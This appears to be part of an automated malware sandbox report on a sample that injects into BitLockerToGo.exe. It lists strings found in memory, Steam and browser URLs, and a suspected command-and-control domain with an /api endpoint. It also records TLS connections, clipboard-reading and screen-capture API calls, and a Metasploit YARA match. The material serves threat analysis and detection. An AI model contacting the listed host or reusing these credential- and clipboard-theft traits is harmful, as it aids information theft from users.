Source: BitLockerToGo.exe, 00000002.00000003.1895036491.0000000002CF3000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000003.1909317979.0000000002D02000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/shared/images/responsive/header_menu_hamburger.p
Source: BitLockerToGo.exe, 00000002.00000003.1895036491.0000000002CF3000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000003.1909317979.0000000002D02000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/shared/images/responsive/logo_valve_footer.png
Source: BitLockerToGo.exe, 00000002.00000003.1895036491.0000000002CF3000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000003.1909317979.0000000002D02000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/shared/javascript/auth_refresh.js?v=WgUxSlKTb3W1
Source: BitLockerToGo.exe, 00000002.00000003.1895036491.0000000002CF3000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000003.1909317979.0000000002D02000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/shared/javascript/shared_global.js?v=wJD9maDpDcV
Source: BitLockerToGo.exe, 00000002.00000003.1895036491.0000000002CF3000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000003.1909317979.0000000002D02000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/shared/javascript/shared_responsive_adapter.js?v
Source: BitLockerToGo.exe, 00000002.00000003.1895036491.0000000002CF3000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000003.1909317979.0000000002D02000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/shared/javascript/tooltip.js?v=.zYHOpI1L3Rt0&amp
Source: BitLockerToGo.exe, 00000002.00000003.1925016440.0000000005079000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: BitLockerToGo.exe, 00000002.00000003.1925016440.0000000005079000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: BitLockerToGo.exe, 00000002.00000003.1925016440.0000000005079000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: Imperial_Delay.exe	String found in binary or memory: https://github.com/golang/protobuf/issues/1609):
Source: Imperial_Delay.exe	String found in binary or memory: https://github.com/zitadel/zitadel/blob/new-eventstore/cmd/zitadel/startup.yaml.
Source: libidn2-0.dll.0.dr	String found in binary or memory: https://gnu.org/licenses/gpl.html
Source: libidn2-0.dll.0.dr	String found in binary or memory: https://gnu.org/licenses/gpl.htmlWritten
Source: BitLockerToGo.exe, 00000002.00000003.1895132930.0000000002CC0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://help.steampowered.com/
Source: BitLockerToGo.exe, 00000002.00000003.1895036491.0000000002CF3000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000003.1909317979.0000000002D02000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://help.steampowered.com/en/
Source: BitLockerToGo.exe, 00000002.00000003.1895132930.0000000002CC0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.steampowered.com/
Source: BitLockerToGo.exe, 00000002.00000003.1895132930.0000000002CC0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lv.queniujq.cn
Source: BitLockerToGo.exe, 00000002.00000003.1895132930.0000000002CC0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://medal.tv
Source: BitLockerToGo.exe, 00000002.00000003.1895132930.0000000002CC0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://player.vimeo.com
Source: BitLockerToGo.exe, 00000002.00000003.1895132930.0000000002CC0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://recaptcha.net
Source: BitLockerToGo.exe, 00000002.00000003.1895132930.0000000002CC0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://recaptcha.net/recaptcha/;
Source: BitLockerToGo.exe, 00000002.00000003.1895132930.0000000002CC0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://s.ytimg.com;
Source: BitLockerToGo.exe, 00000002.00000003.1895132930.0000000002CC0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sketchfab.com
Source: BitLockerToGo.exe, 00000002.00000003.1895132930.0000000002CC0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steam.tv/
Source: BitLockerToGo.exe, 00000002.00000003.1895132930.0000000002CC0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steambroadcast-test.akamaized.net
Source: BitLockerToGo.exe, 00000002.00000003.1895132930.0000000002CC0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steambroadcast.akamaized.net
Source: BitLockerToGo.exe, 00000002.00000003.1895132930.0000000002CC0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steambroadcastchat.akamaized.net
Source: BitLockerToGo.exe, 00000002.00000003.1909317979.0000000002D02000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000003.1895132930.0000000002CC0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/
Source: BitLockerToGo.exe, 00000002.00000003.1895036491.0000000002CF3000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000003.1909317979.0000000002D02000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/?subsection=broadcasts
Source: BitLockerToGo.exe, 00000002.00000003.1895036491.0000000002CF3000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000003.1909317979.0000000002D02000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/discussions/
Source: BitLockerToGo.exe, 00000002.00000003.1895036491.0000000002CF3000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000003.1909317979.0000000002D02000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/linkfilter/?u=http%3A%2F%2Fwww.geonames.org
Source: BitLockerToGo.exe, 00000002.00000003.1909317979.0000000002D02000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/login/home/?goto=profiles%2F76561199724331900
Source: BitLockerToGo.exe, 00000002.00000003.1895036491.0000000002CF3000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000003.1909317979.0000000002D02000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/market/
Source: BitLockerToGo.exe, 00000002.00000003.1895036491.0000000002CF3000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000003.1909317979.0000000002D02000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/my/wishlist/
Source: BitLockerToGo.exe, 00000002.00000003.1895036491.0000000002CF3000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000003.1909317979.0000000002D02000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199724331900/badges
Source: BitLockerToGo.exe, 00000002.00000003.1895036491.0000000002CF3000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000003.1909317979.0000000002D02000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199724331900/inventory/
Source: BitLockerToGo.exe, 00000002.00000003.1895036491.0000000002CF3000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000003.1909317979.0000000002D02000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/workshop/
Source: BitLockerToGo.exe, 00000002.00000003.1895132930.0000000002CC0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/
Source: BitLockerToGo.exe, 00000002.00000003.1895132930.0000000002CC0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/;
Source: BitLockerToGo.exe, 00000002.00000003.1909317979.0000000002D02000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/about/
Source: BitLockerToGo.exe, 00000002.00000003.1895036491.0000000002CF3000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000003.1909317979.0000000002D02000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/explore/
Source: BitLockerToGo.exe, 00000002.00000003.1895036491.0000000002CF3000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000003.1909317979.0000000002D02000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/legal/
Source: BitLockerToGo.exe, 00000002.00000003.1895036491.0000000002CF3000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000003.1909317979.0000000002D02000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/mobile
Source: BitLockerToGo.exe, 00000002.00000003.1895036491.0000000002CF3000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000003.1909317979.0000000002D02000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/news/
Source: BitLockerToGo.exe, 00000002.00000003.1895036491.0000000002CF3000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000003.1909317979.0000000002D02000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/points/shop/
Source: BitLockerToGo.exe, 00000002.00000003.1895036491.0000000002CF3000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000003.1909317979.0000000002D02000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/privacy_agreement/
Source: BitLockerToGo.exe, 00000002.00000003.1895036491.0000000002CF3000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000003.1909317979.0000000002D02000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/stats/
Source: BitLockerToGo.exe, 00000002.00000003.1895036491.0000000002CF3000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000003.1909317979.0000000002D02000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/steam_refunds/
Source: BitLockerToGo.exe, 00000002.00000003.1895036491.0000000002CF3000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000003.1909317979.0000000002D02000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/subscriber_agreement/
Source: BitLockerToGo.exe, 00000002.00000003.1924301094.0000000005090000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.microsof
Source: BitLockerToGo.exe, 00000002.00000003.1953566080.000000000515D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: BitLockerToGo.exe, 00000002.00000003.1953566080.000000000515D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.all
Source: BitLockerToGo.exe, 00000002.00000003.1924301094.000000000508E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016
Source: BitLockerToGo.exe, 00000002.00000003.1924301094.000000000508E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17
Source: BitLockerToGo.exe, 00000002.00000002.2038770877.0000000002CFE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://villagedguy.cyou/
Source: BitLockerToGo.exe, 00000002.00000002.2038770877.0000000002C7E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://villagedguy.cyou/Y
Source: BitLockerToGo.exe, 00000002.00000003.1981505063.0000000002D0F000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000003.2022709028.0000000002D1D000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000002.2038989446.0000000002D1E000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000003.1981900349.0000000002D0F000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000003.2010643755.0000000002D1F000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000003.1996190492.0000000002D0F000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000002.2038770877.0000000002C6D000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000003.1922685655.0000000002CBA000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000003.2023090021.0000000002CBC000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000003.2032771167.0000000002D1D000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000003.2033135323.0000000002CBC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://villagedguy.cyou/api
Source: BitLockerToGo.exe, 00000002.00000002.2038770877.0000000002C7E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://villagedguy.cyou/api0
Source: BitLockerToGo.exe, 00000002.00000002.2038989446.0000000002D1E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://villagedguy.cyou/apiF9
Source: BitLockerToGo.exe, 00000002.00000003.2009812823.0000000002D19000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000003.2010533759.0000000002D1C000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000003.2010643755.0000000002D1F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://villagedguy.cyou/apiO
Source: BitLockerToGo.exe, 00000002.00000003.2023090021.0000000002CBC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://villagedguy.cyou/apiX
Source: BitLockerToGo.exe, 00000002.00000002.2038989446.0000000002D1E000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000003.2032771167.0000000002D1D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://villagedguy.cyou/apibu
Source: BitLockerToGo.exe, 00000002.00000002.2038989446.0000000002D1E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://villagedguy.cyou/apibu0
Source: BitLockerToGo.exe, 00000002.00000003.1951968090.0000000002D0F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://villagedguy.cyou/apig
Source: BitLockerToGo.exe, 00000002.00000003.1981505063.0000000002D0F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://villagedguy.cyou/apiob
Source: BitLockerToGo.exe, 00000002.00000003.1996190492.0000000002D0F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://villagedguy.cyou/apis
Source: BitLockerToGo.exe, 00000002.00000003.1981505063.0000000002D0F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://villagedguy.cyou/api~Vl
Source: BitLockerToGo.exe, 00000002.00000002.2038770877.0000000002CFE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://villagedguy.cyou/ges
Source: BitLockerToGo.exe, 00000002.00000003.2033135323.0000000002CFE000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000003.2029618149.0000000002CFE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://villagedguy.cyou/h
Source: BitLockerToGo.exe, 00000002.00000003.1998002889.0000000002D2C000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000002.2038770877.0000000002C6D000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000003.1996190492.0000000002D2C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://villagedguy.cyou:443/api
Source: VBoxClient-x86.dll.0.dr, qsqlite.dll.0.dr, VBoxProxyStub-x86.dll.0.dr, Qt5GuiVBox.dll	String found in binary or memory: https://www.digicert.com/CPS0
Source: BitLockerToGo.exe, 00000002.00000003.1925016440.0000000005079000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: libidn2-0.dll.0.dr	String found in binary or memory: https://www.gnu.org/gethelp/
Source: libidn2-0.dll.0.dr	String found in binary or memory: https://www.gnu.org/gethelp/exebatcmdcom
Source: libiconv-2.dll.0.dr	String found in binary or memory: https://www.gnu.org/licenses/
Source: libidn2-0.dll.0.dr	String found in binary or memory: https://www.gnu.org/software/libidn/#libidn2
Source: libidn2-0.dll.0.dr	String found in binary or memory: https://www.gnu.org/software/libidn/#libidn2Libidn2General
Source: BitLockerToGo.exe, 00000002.00000003.1895132930.0000000002CC0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com
Source: BitLockerToGo.exe, 00000002.00000003.1925016440.0000000005079000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: BitLockerToGo.exe, 00000002.00000003.1895132930.0000000002CC0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/recaptcha/
Source: BitLockerToGo.exe, 00000002.00000003.1895132930.0000000002CC0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.cn/recaptcha/
Source: BitLockerToGo.exe, 00000002.00000003.1895132930.0000000002CC0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com/recaptcha/
Source: BitLockerToGo.exe, 00000002.00000003.1953566080.000000000515D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.VsJpOAWrHqB2
Source: BitLockerToGo.exe, 00000002.00000003.1953566080.000000000515D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.n0g9CLHwD9nR
Source: BitLockerToGo.exe, 00000002.00000003.1953566080.000000000515D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/Firefox
Source: BitLockerToGo.exe, 00000002.00000003.1953566080.000000000515D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: BitLockerToGo.exe, 00000002.00000003.1953566080.000000000515D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.
Source: BitLockerToGo.exe, 00000002.00000003.1895036491.0000000002CF3000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000003.1909317979.0000000002D02000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.valvesoftware.com/en/contact?contact-person=Translation%20Team%20Feedback
Source: VBoxProxyStub-x86.dll.0.dr	String found in binary or memory: https://www.virtualbox.org/
Source: BitLockerToGo.exe, 00000002.00000003.1895132930.0000000002CC0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com
Source: BitLockerToGo.exe, 00000002.00000003.1895132930.0000000002CC0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 49741 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49740 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49743 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49746 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49746
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49734
Source: unknown	Network traffic detected: HTTP traffic on port 49738 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49739 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49745

Source: unknown	HTTPS traffic detected: 104.102.49.254:443 -> 192.168.2.4:49734 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.32.196:443 -> 192.168.2.4:49736 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.32.196:443 -> 192.168.2.4:49738 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.32.196:443 -> 192.168.2.4:49739 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.32.196:443 -> 192.168.2.4:49740 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.32.196:443 -> 192.168.2.4:49741 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.32.196:443 -> 192.168.2.4:49742 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.32.196:443 -> 192.168.2.4:49743 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.32.196:443 -> 192.168.2.4:49744 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.32.196:443 -> 192.168.2.4:49745 version: TLS 1.2

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

Code function: 2_2_00438A30 OpenClipboard,GetWindowLongW,GetClipboardData,GlobalLock,GlobalUnlock,CloseClipboard,

2_2_00438A30

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

Code function: 2_2_00438A30 OpenClipboard,GetWindowLongW,GetClipboardData,GlobalLock,GlobalUnlock,CloseClipboard,

2_2_00438A30

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

Code function: 2_2_00438BF0 GetDC,GetSystemMetrics,GetSystemMetrics,GetSystemMetrics,GetCurrentObject,GetObjectW,DeleteObject,CreateCompatibleDC,CreateCompatibleBitmap,SelectObject,BitBlt,

2_2_00438BF0

System Summary

Malicious sample detected (through community Yara rule)

Source: 00000001.00000002.1881484672.000000000A7D8000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY

Matched rule: Metasploit Payloads - file msf.war - contents Author: Florian Roth

Source: C:\Users\user\Desktop\HLZwUhcJ28.exe	Code function: 0_2_00007FF70ECF400C	0_2_00007FF70ECF400C
Source: C:\Users\user\Desktop\HLZwUhcJ28.exe	Code function: 0_2_00007FF70ECDA8AC	0_2_00007FF70ECDA8AC
Source: C:\Users\user\Desktop\HLZwUhcJ28.exe	Code function: 0_2_00007FF70ECE569C	0_2_00007FF70ECE569C
Source: C:\Users\user\Desktop\HLZwUhcJ28.exe	Code function: 0_2_00007FF70ECEECE0	0_2_00007FF70ECEECE0
Source: C:\Users\user\Desktop\HLZwUhcJ28.exe	Code function: 0_2_00007FF70ECDDC4C	0_2_00007FF70ECDDC4C
Source: C:\Users\user\Desktop\HLZwUhcJ28.exe	Code function: 0_2_00007FF70ECF09D8	0_2_00007FF70ECF09D8
Source: C:\Users\user\Desktop\HLZwUhcJ28.exe	Code function: 0_2_00007FF70ECE6294	0_2_00007FF70ECE6294
Source: C:\Users\user\Desktop\HLZwUhcJ28.exe	Code function: 0_2_00007FF70ED09008	0_2_00007FF70ED09008
Source: C:\Users\user\Desktop\HLZwUhcJ28.exe	Code function: 0_2_00007FF70ED02F24	0_2_00007FF70ED02F24
Source: C:\Users\user\Desktop\HLZwUhcJ28.exe	Code function: 0_2_00007FF70ECFC074	0_2_00007FF70ECFC074
Source: C:\Users\user\Desktop\HLZwUhcJ28.exe	Code function: 0_2_00007FF70ECFBDF8	0_2_00007FF70ECFBDF8
Source: C:\Users\user\Desktop\HLZwUhcJ28.exe	Code function: 0_2_00007FF70ECFFD18	0_2_00007FF70ECFFD18
Source: C:\Users\user\Desktop\HLZwUhcJ28.exe	Code function: 0_2_00007FF70ECDBF0C	0_2_00007FF70ECDBF0C
Source: C:\Users\user\Desktop\HLZwUhcJ28.exe	Code function: 0_2_00007FF70ECDB318	0_2_00007FF70ECDB318
Source: C:\Users\user\Desktop\HLZwUhcJ28.exe	Code function: 0_2_00007FF70ED05510	0_2_00007FF70ED05510
Source: C:\Users\user\Desktop\HLZwUhcJ28.exe	Code function: 0_2_00007FF70ED059E0	0_2_00007FF70ED059E0
Source: C:\Users\user\Desktop\HLZwUhcJ28.exe	Code function: 0_2_00007FF70ECF400C	0_2_00007FF70ECF400C
Source: C:\Users\user\Desktop\HLZwUhcJ28.exe	Code function: 0_2_00007FF70ECDE91C	0_2_00007FF70ECDE91C
Source: C:\Users\user\Desktop\HLZwUhcJ28.exe	Code function: 0_2_00007FF70ECDB948	0_2_00007FF70ECDB948
Source: C:\Users\user\Desktop\HLZwUhcJ28.exe	Code function: 0_2_00007FF70ECD72AC	0_2_00007FF70ECD72AC
Source: C:\Users\user\Desktop\HLZwUhcJ28.exe	Code function: 0_2_00007FF70ECECA30	0_2_00007FF70ECECA30
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 2_2_0042D020	2_2_0042D020
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 2_2_004321CC	2_2_004321CC
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 2_2_004412F0	2_2_004412F0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 2_2_0040E280	2_2_0040E280
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 2_2_0043D530	2_2_0043D530
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 2_2_0040F6E0	2_2_0040F6E0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 2_2_00411789	2_2_00411789
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 2_2_004488A0	2_2_004488A0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 2_2_0043DAF2	2_2_0043DAF2
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 2_2_00431C50	2_2_00431C50
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 2_2_0040FDCC	2_2_0040FDCC
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 2_2_0043DE1A	2_2_0043DE1A
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 2_2_00447F40	2_2_00447F40
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 2_2_00442040	2_2_00442040
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 2_2_00430068	2_2_00430068
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 2_2_00401000	2_2_00401000
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 2_2_00408020	2_2_00408020
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 2_2_004461C0	2_2_004461C0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 2_2_0040A1EE	2_2_0040A1EE
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 2_2_0043E180	2_2_0043E180
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 2_2_0043C1B1	2_2_0043C1B1
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 2_2_00407270	2_2_00407270
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 2_2_00448230	2_2_00448230
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 2_2_004202C1	2_2_004202C1
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 2_2_004012D5	2_2_004012D5
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 2_2_00430280	2_2_00430280
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 2_2_0041D2AD	2_2_0041D2AD
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 2_2_0042E343	2_2_0042E343
